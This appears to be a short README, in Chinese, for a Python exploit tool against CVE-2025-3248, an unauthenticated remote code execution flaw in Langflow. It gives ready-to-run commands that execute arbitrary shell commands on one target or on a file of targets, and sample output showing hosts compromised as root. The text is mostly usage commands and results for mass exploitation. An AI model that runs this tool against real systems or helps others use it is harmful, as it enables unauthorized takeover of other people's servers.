一个基于 Python 的 CVE-2025-3248 漏洞利用工具，该漏洞允许远程未认证的攻击者通过精心构造的 HTTP 请求在存在漏洞的 Langflow 实例上执行任意代码。
python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"
python CVE-2025-3248.py -f targets.txt
python CVE-2025-3248.py -f targets.txt -c "whoami"
[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------
[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp